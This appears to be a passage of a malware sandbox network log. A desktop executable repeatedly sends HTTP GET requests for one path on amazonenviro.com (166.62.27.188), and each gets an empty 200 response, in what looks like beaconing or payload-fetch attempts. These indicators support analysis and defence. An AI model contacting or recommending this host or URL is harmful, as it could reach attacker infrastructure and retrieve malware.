2025-01-14 07:25:06 UTC	165	OUT	GET /245_Tzzlqsjvkee HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) Host: amazonenviro.com
2025-01-14 07:25:06 UTC	225	IN	HTTP/1.1 200 OK Date: Tue, 14 Jan 2025 07:25:06 GMT Server: Apache X-Powered-By: PHP/7.3.33 Upgrade: h2,h2c Connection: Upgrade, close Vary: Accept-Encoding Content-Length: 0 Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.10	49718	166.62.27.188	443	7736	C:\Users\user\Desktop\UTstKgkJNY.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-14 07:25:08 UTC	165	OUT	GET /245_Tzzlqsjvkee HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) Host: amazonenviro.com
2025-01-14 07:25:08 UTC	225	IN	HTTP/1.1 200 OK Date: Tue, 14 Jan 2025 07:25:08 GMT Server: Apache X-Powered-By: PHP/7.3.33 Upgrade: h2,h2c Connection: Upgrade, close Vary: Accept-Encoding Content-Length: 0 Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.10	49728	166.62.27.188	443	7736	C:\Users\user\Desktop\UTstKgkJNY.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-14 07:25:09 UTC	165	OUT	GET /245_Tzzlqsjvkee HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) Host: amazonenviro.com
2025-01-14 07:25:10 UTC	225	IN	HTTP/1.1 200 OK Date: Tue, 14 Jan 2025 07:25:10 GMT Server: Apache X-Powered-By: PHP/7.3.33 Upgrade: h2,h2c Connection: Upgrade, close Vary: Accept-Encoding Content-Length: 0 Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.10	49738	166.62.27.188	443	7736	C:\Users\user\Desktop\UTstKgkJNY.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-14 07:25:11 UTC	165	OUT	GET /245_Tzzlqsjvkee HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) Host: amazonenviro.com
2025-01-14 07:25:11 UTC	225	IN	HTTP/1.1 200 OK Date: Tue, 14 Jan 2025 07:25:11 GMT Server: Apache X-Powered-By: PHP/7.3.33 Upgrade: h2,h2c Connection: Upgrade, close Vary: Accept-Encoding Content-Length: 0 Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.10	49750	166.62.27.188	443	7736	C:\Users\user\Desktop\UTstKgkJNY.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-14 07:25:13 UTC	165	OUT	GET /245_Tzzlqsjvkee HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) Host: amazonenviro.com
2025-01-14 07:25:13 UTC	225	IN	HTTP/1.1 200 OK Date: Tue, 14 Jan 2025 07:25:13 GMT Server: Apache X-Powered-By: PHP/7.3.33 Upgrade: h2,h2c Connection: Upgrade, close Vary: Accept-Encoding Content-Length: 0 Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.10	49762	166.62.27.188	443	7736	C:\Users\user\Desktop\UTstKgkJNY.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-14 07:25:14 UTC	165	OUT	GET /245_Tzzlqsjvkee HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) Host: amazonenviro.com
2025-01-14 07:25:15 UTC	225	IN	HTTP/1.1 200 OK Date: Tue, 14 Jan 2025 07:25:15 GMT Server: Apache X-Powered-By: PHP/7.3.33 Upgrade: h2,h2c Connection: Upgrade, close Vary: Accept-Encoding Content-Length: 0 Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.10	49773	166.62.27.188	443	7736	C:\Users\user\Desktop\UTstKgkJNY.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-14 07:25:16 UTC	165	OUT	GET /245_Tzzlqsjvkee HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) Host: amazonenviro.com
2025-01-14 07:25:16 UTC	225	IN	HTTP/1.1 200 OK Date: Tue, 14 Jan 2025 07:25:16 GMT Server: Apache X-Powered-By: PHP/7.3.33 Upgrade: h2,h2c Connection: Upgrade, close Vary: Accept-Encoding Content-Length: 0 Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.10	49786	166.62.27.188	443	7736	C:\Users\user\Desktop\UTstKgkJNY.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-14 07:25:18 UTC	165	OUT	GET /245_Tzzlqsjvkee HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) Host: amazonenviro.com
2025-01-14 07:25:18 UTC	225	IN	HTTP/1.1 200 OK Date: Tue, 14 Jan 2025 07:25:18 GMT Server: Apache X-Powered-By: PHP/7.3.33 Upgrade: h2,h2c Connection: Upgrade, close Vary: Accept-Encoding Content-Length: 0 Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.10	49799	166.62.27.188	443	7736	C:\Users\user\Desktop\UTstKgkJNY.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-14 07:25:19 UTC	165	OUT	GET /245_Tzzlqsjvkee HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) Host: amazonenviro.com
2025-01-14 07:25:20 UTC	225	IN	HTTP/1.1 200 OK Date: Tue, 14 Jan 2025 07:25:20 GMT Server: Apache X-Powered-By: PHP/7.3.33 Upgrade: h2,h2c Connection: Upgrade, close Vary: Accept-Encoding Content-Length: 0 Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.10	49809	166.62.27.188	443	7736	C:\Users\user\Desktop\UTstKgkJNY.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-14 07:25:21 UTC	165	OUT	GET /245_Tzzlqsjvkee HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) Host: amazonenviro.com
2025-01-14 07:25:21 UTC	225	IN	HTTP/1.1 200 OK Date: Tue, 14 Jan 2025 07:25:21 GMT Server: Apache X-Powered-By: PHP/7.3.33 Upgrade: h2,h2c Connection: Upgrade, close Vary: Accept-Encoding Content-Length: 0 Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.10	49822	166.62.27.188	443	7736	C:\Users\user\Desktop\UTstKgkJNY.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-14 07:25:22 UTC	165	OUT	GET /245_Tzzlqsjvkee HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) Host: amazonenviro.com
2025-01-14 07:25:23 UTC	225	IN	HTTP/1.1 200 OK Date: Tue, 14 Jan 2025 07:25:23 GMT Server: Apache X-Powered-By: PHP/7.3.33 Upgrade: h2,h2c Connection: Upgrade, close Vary: Accept-Encoding Content-Length: 0 Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.10	49835	166.62.27.188	443	7736	C:\Users\user\Desktop\UTstKgkJNY.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-14 07:25:24 UTC	165	OUT	GET /245_Tzzlqsjvkee HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) Host: amazonenviro.com
2025-01-14 07:25:25 UTC	225	IN	HTTP/1.1 200 OK Date: Tue, 14 Jan 2025 07:25:25 GMT Server: Apache X-Powered-By: PHP/7.3.33 Upgrade: h2,h2c Connection: Upgrade, close Vary: Accept-Encoding Content-Length: 0 Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.10	49847	166.62.27.188	443	7736	C:\Users\user\Desktop\UTstKgkJNY.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-14 07:25:26 UTC	165	OUT	GET /245_Tzzlqsjvkee HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) Host: amazonenviro.com
2025-01-14 07:25:26 UTC	225	IN	HTTP/1.1 200 OK Date: Tue, 14 Jan 2025 07:25:26 GMT Server: Apache X-Powered-By: PHP/7.3.33 Upgrade: h2,h2c Connection: Upgrade, close Vary: Accept-Encoding Content-Length: 0 Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.10	49860	166.62.27.188	443	7736	C:\Users\user\Desktop\UTstKgkJNY.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-14 07:25:27 UTC	165	OUT	GET /245_Tzzlqsjvkee HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) Host: amazonenviro.com
2025-01-14 07:25:28 UTC	225	IN	HTTP/1.1 200 OK Date: Tue, 14 Jan 2025 07:25:28 GMT Server: Apache X-Powered-By: PHP/7.3.33 Upgrade: h2,h2c Connection: Upgrade, close Vary: Accept-Encoding Content-Length: 0 Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.10	49871	166.62.27.188	443	7736	C:\Users\user\Desktop\UTstKgkJNY.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-14 07:25:29 UTC	165	OUT	GET /245_Tzzlqsjvkee HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) Host: amazonenviro.com
2025-01-14 07:25:30 UTC	225	IN	HTTP/1.1 200 OK Date: Tue, 14 Jan 2025 07:25:29 GMT Server: Apache X-Powered-By: PHP/7.3.33 Upgrade: h2,h2c Connection: Upgrade, close Vary: Accept-Encoding Content-Length: 0 Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.10	49884	166.62.27.188	443	7736	C:\Users\user\Desktop\UTstKgkJNY.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-14 07:25:31 UTC	165	OUT	GET /245_Tzzlqsjvkee HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) Host: amazonenviro.com
2025-01-14 07:25:31 UTC	225	IN	HTTP/1.1 200 OK Date: Tue, 14 Jan 2025 07:25:31 GMT Server: Apache X-Powered-By: PHP/7.3.33 Upgrade: h2,h2c Connection: Upgrade, close Vary: Accept-Encoding Content-Length: 0 Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.10	49895	166.62.27.188	443	7736	C:\Users\user\Desktop\UTstKgkJNY.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-14 07:25:32 UTC	165	OUT	GET /245_Tzzlqsjvkee HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) Host: amazonenviro.com
2025-01-14 07:25:33 UTC	225	IN	HTTP/1.1 200 OK Date: Tue, 14 Jan 2025 07:25:33 GMT Server: Apache X-Powered-By: PHP/7.3.33 Upgrade: h2,h2c Connection: Upgrade, close Vary: Accept-Encoding Content-Length: 0 Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
19	192.168.2.10	49906	166.62.27.188	443	7736	C:\Users\user\Desktop\UTstKgkJNY.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-14 07:25:34 UTC	165	OUT	GET /245_Tzzlqsjvkee HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) Host: amazonenviro.com
2025-01-14 07:25:34 UTC	225	IN	HTTP/1.1 200 OK Date: Tue, 14 Jan 2025 07:25:34 GMT Server: Apache X-Powered-By: PHP/7.3.33 Upgrade: h2,h2c Connection: Upgrade, close Vary: Accept-Encoding Content-Length: 0 Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
20	192.168.2.10	49919	166.62.27.188	443	7736	C:\Users\user\Desktop\UTstKgkJNY.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-14 07:25:36 UTC	165	OUT	GET /245_Tzzlqsjvkee HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) Host: amazonenviro.com
2025-01-14 07:25:36 UTC	225	IN	HTTP/1.1 200 OK Date: Tue, 14 Jan 2025 07:25:36 GMT Server: Apache X-Powered-By: PHP/7.3.33 Upgrade: h2,h2c Connection: Upgrade, close Vary: Accept-Encoding Content-Length: 0 Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
21	192.168.2.10	49932	166.62.27.188	443	7736	C:\Users\user\Desktop\UTstKgkJNY.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-14 07:25:37 UTC	165	OUT	GET /245_Tzzlqsjvkee HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) Host: amazonenviro.com
2025-01-14 07:25:38 UTC	225	IN	HTTP/1.1 200 OK Date: Tue, 14 Jan 2025 07:25:38 GMT Server: Apache X-Powered-By: PHP/7.3.33 Upgrade: h2,h2c Connection: Upgrade, close Vary: Accept-Encoding Content-Length: 0 Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
22	192.168.2.10	49944	166.62.27.188	443	7736	C:\Users\user\Desktop\UTstKgkJNY.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-14 07:25:39 UTC	165	OUT	GET /245_Tzzlqsjvkee HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) Host: amazonenviro.com
2025-01-14 07:25:39 UTC	225	IN	HTTP/1.1 200 OK Date: Tue, 14 Jan 2025 07:25:39 GMT Server: Apache X-Powered-By: PHP/7.3.33 Upgrade: h2,h2c Connection: Upgrade, close Vary: Accept-Encoding Content-Length: 0 Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
23	192.168.2.10	49958	166.62.27.188	443	7736	C:\Users\user\Desktop\UTstKgkJNY.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-14 07:25:41 UTC	165	OUT	GET /245_Tzzlqsjvkee HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) Host: amazonenviro.com
2025-01-14 07:25:41 UTC	225	IN	HTTP/1.1 200 OK Date: Tue, 14 Jan 2025 07:25:41 GMT Server: Apache X-Powered-By: PHP/7.3.33 Upgrade: h2,h2c Connection: Upgrade, close Vary: Accept-Encoding Content-Length: 0 Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
24	192.168.2.10	49967	166.62.27.188	443	7736	C:\Users\user\Desktop\UTstKgkJNY.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-14 07:25:42 UTC	165	OUT	GET /245_Tzzlqsjvkee HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) Host: amazonenviro.com
2025-01-14 07:25:43 UTC	225	IN	HTTP/1.1 200 OK Date: Tue, 14 Jan 2025 07:25:43 GMT Server: Apache X-Powered-By: PHP/7.3.33 Upgrade: h2,h2c Connection: Upgrade, close Vary: Accept-Encoding Content-Length: 0 Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
25	192.168.2.10	49980	166.62.27.188	443	7736	C:\Users\user\Desktop\UTstKgkJNY.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-14 07:25:44 UTC	165	OUT	GET /245_Tzzlqsjvkee HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) Host: amazonenviro.com
2025-01-14 07:25:44 UTC	225	IN	HTTP/1.1 200 OK Date: Tue, 14 Jan 2025 07:25:44 GMT Server: Apache X-Powered-By: PHP/7.3.33 Upgrade: h2,h2c Connection: Upgrade, close Vary: Accept-Encoding Content-Length: 0 Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
26	192.168.2.10	49991	166.62.27.188	443	7736	C:\Users\user\Desktop\UTstKgkJNY.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-14 07:25:45 UTC	165	OUT	GET /245_Tzzlqsjvkee HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) Host: amazonenviro.com
2025-01-14 07:25:46 UTC	225	IN	HTTP/1.1 200 OK Date: Tue, 14 Jan 2025 07:25:46 GMT Server: Apache X-Powered-By: PHP/7.3.33 Upgrade: h2,h2c Connection: Upgrade, close Vary: Accept-Encoding Content-Length: 0 Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
27	192.168.2.10	50004	166.62.27.188	443	7736	C:\Users\user\Desktop\UTstKgkJNY.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-14 07:25:47 UTC	165	OUT	GET /245_Tzzlqsjvkee HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) Host: amazonenviro.com
2025-01-14 07:25:48 UTC	225	IN	HTTP/1.1 200 OK Date: Tue, 14 Jan 2025 07:25:47 GMT Server: Apache X-Powered-By: PHP/7.3.33 Upgrade: h2,h2c Connection: Upgrade, close Vary: Accept-Encoding Content-Length: 0 Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
28	192.168.2.10	50018	166.62.27.188	443	7736	C:\Users\user\Desktop\UTstKgkJNY.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-14 07:25:49 UTC	165	OUT	GET /245_Tzzlqsjvkee HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) Host: amazonenviro.com
2025-01-14 07:25:49 UTC	225	IN	HTTP/1.1 200 OK Date: Tue, 14 Jan 2025 07:25:49 GMT Server: Apache X-Powered-By: PHP/7.3.33 Upgrade: h2,h2c Connection: Upgrade, close Vary: Accept-Encoding Content-Length: 0 Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
29	192.168.2.10	50028	166.62.27.188	443	7736	C:\Users\user\Desktop\UTstKgkJNY.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-14 07:25:50 UTC	165	OUT	GET /245_Tzzlqsjvkee HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) Host: amazonenviro.com
2025-01-14 07:25:51 UTC	225	IN	HTTP/1.1 200 OK Date: Tue, 14 Jan 2025 07:25:51 GMT Server: Apache X-Powered-By: PHP/7.3.33 Upgrade: h2,h2c Connection: Upgrade, close Vary: Accept-Encoding Content-Length: 0 Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
30	192.168.2.10	50034	166.62.27.188	443	7736	C:\Users\user\Desktop\UTstKgkJNY.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-14 07:25:52 UTC	165	OUT	GET /245_Tzzlqsjvkee HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) Host: amazonenviro.com
2025-01-14 07:25:52 UTC	225	IN	HTTP/1.1 200 OK Date: Tue, 14 Jan 2025 07:25:52 GMT Server: Apache X-Powered-By: PHP/7.3.33 Upgrade: h2,h2c Connection: Upgrade, close Vary: Accept-Encoding Content-Length: 0 Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
31	192.168.2.10	50036	166.62.27.188	443	7736	C:\Users\user\Desktop\UTstKgkJNY.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-14 07:25:53 UTC	165	OUT	GET /245_Tzzlqsjvkee HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) Host: amazonenviro.com
2025-01-14 07:25:54 UTC	225	IN	HTTP/1.1 200 OK Date: Tue, 14 Jan 2025 07:25:54 GMT Server: Apache X-Powered-By: PHP/7.3.33 Upgrade: h2,h2c Connection: Upgrade, close Vary: Accept-Encoding Content-Length: 0 Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
32	192.168.2.10	50039	166.62.27.188	443	7736	C:\Users\user\Desktop\UTstKgkJNY.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-14 07:25:55 UTC	165	OUT	GET /245_Tzzlqsjvkee HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) Host: amazonenviro.com
2025-01-14 07:25:56 UTC	225	IN	HTTP/1.1 200 OK Date: Tue, 14 Jan 2025 07:25:56 GMT Server: Apache X-Powered-By: PHP/7.3.33 Upgrade: h2,h2c Connection: Upgrade, close Vary: Accept-Encoding Content-Length: 0 Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
33	192.168.2.10	50041	166.62.27.188	443	7736	C:\Users\user\Desktop\UTstKgkJNY.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-14 07:25:57 UTC	165	OUT	GET /245_Tzzlqsjvkee HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) Host: amazonenviro.com
2025-01-14 07:25:57 UTC	225	IN	HTTP/1.1 200 OK Date: Tue, 14 Jan 2025 07:25:57 GMT Server: Apache X-Powered-By: PHP/7.3.33 Upgrade: h2,h2c Connection: Upgrade, close Vary: Accept-Encoding Content-Length: 0 Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
34	192.168.2.10	50043	166.62.27.188	443	7736	C:\Users\user\Desktop\UTstKgkJNY.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-14 07:25:58 UTC	165	OUT	GET /245_Tzzlqsjvkee HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) Host: amazonenviro.com
2025-01-14 07:25:59 UTC	225	IN	HTTP/1.1 200 OK Date: Tue, 14 Jan 2025 07:25:59 GMT Server: Apache X-Powered-By: PHP/7.3.33 Upgrade: h2,h2c Connection: Upgrade, close Vary: Accept-Encoding Content-Length: 0 Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
35	192.168.2.10	50045	166.62.27.188	443	7736	C:\Users\user\Desktop\UTstKgkJNY.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-14 07:26:00 UTC	165	OUT	GET /245_Tzzlqsjvkee HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) Host: amazonenviro.com
2025-01-14 07:26:01 UTC	225	IN	HTTP/1.1 200 OK Date: Tue, 14 Jan 2025 07:26:01 GMT Server: Apache X-Powered-By: PHP/7.3.33 Upgrade: h2,h2c Connection: Upgrade, close Vary: Accept-Encoding Content-Length: 0 Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
36	192.168.2.10	50047	166.62.27.188	443	7736	C:\Users\user\Desktop\UTstKgkJNY.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-14 07:26:02 UTC	165	OUT	GET /245_Tzzlqsjvkee HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) Host: amazonenviro.com
2025-01-14 07:26:02 UTC	225	IN	HTTP/1.1 200 OK Date: Tue, 14 Jan 2025 07:26:02 GMT Server: Apache X-Powered-By: PHP/7.3.33 Upgrade: h2,h2c Connection: Upgrade, close Vary: Accept-Encoding Content-Length: 0 Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
37	192.168.2.10	50049	166.62.27.188	443	7736	C:\Users\user\Desktop\UTstKgkJNY.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-14 07:26:03 UTC	165	OUT	GET /245_Tzzlqsjvkee HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) Host: amazonenviro.com
2025-01-14 07:26:04 UTC	225	IN	HTTP/1.1 200 OK Date: Tue, 14 Jan 2025 07:26:04 GMT Server: Apache X-Powered-By: PHP/7.3.33 Upgrade: h2,h2c Connection: Upgrade, close Vary: Accept-Encoding Content-Length: 0 Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
38	192.168.2.10	50051	166.62.27.188	443	7736	C:\Users\user\Desktop\UTstKgkJNY.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-14 07:26:05 UTC	165	OUT	GET /245_Tzzlqsjvkee HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) Host: amazonenviro.com
2025-01-14 07:26:06 UTC	225	IN	HTTP/1.1 200 OK Date: Tue, 14 Jan 2025 07:26:05 GMT Server: Apache X-Powered-By: PHP/7.3.33 Upgrade: h2,h2c Connection: Upgrade, close Vary: Accept-Encoding Content-Length: 0 Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
39	192.168.2.10	50053	166.62.27.188	443	7736	C:\Users\user\Desktop\UTstKgkJNY.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-14 07:26:07 UTC	165	OUT	GET /245_Tzzlqsjvkee HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) Host: amazonenviro.com
2025-01-14 07:26:07 UTC	225	IN	HTTP/1.1 200 OK Date: Tue, 14 Jan 2025 07:26:07 GMT Server: Apache X-Powered-By: PHP/7.3.33 Upgrade: h2,h2c Connection: Upgrade, close Vary: Accept-Encoding Content-Length: 0 Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
40	192.168.2.10	50055	166.62.27.188	443	7736	C:\Users\user\Desktop\UTstKgkJNY.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-14 07:26:08 UTC	165	OUT	GET /245_Tzzlqsjvkee HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) Host: amazonenviro.com
2025-01-14 07:26:09 UTC	225	IN	HTTP/1.1 200 OK Date: Tue, 14 Jan 2025 07:26:09 GMT Server: Apache X-Powered-By: PHP/7.3.33 Upgrade: h2,h2c Connection: Upgrade, close Vary: Accept-Encoding Content-Length: 0 Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
41	192.168.2.10	50057	166.62.27.188	443	7736	C:\Users\user\Desktop\UTstKgkJNY.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-14 07:26:10 UTC	165	OUT	GET /245_Tzzlqsjvkee HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) Host: amazonenviro.com
2025-01-14 07:26:10 UTC	225	IN	HTTP/1.1 200 OK Date: Tue, 14 Jan 2025 07:26:10 GMT Server: Apache X-Powered-By: PHP/7.3.33 Upgrade: h2,h2c Connection: Upgrade, close Vary: Accept-Encoding Content-Length: 0 Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
42	192.168.2.10	50059	166.62.27.188	443	7736	C:\Users\user\Desktop\UTstKgkJNY.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-14 07:26:11 UTC	165	OUT	GET /245_Tzzlqsjvkee HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) Host: amazonenviro.com
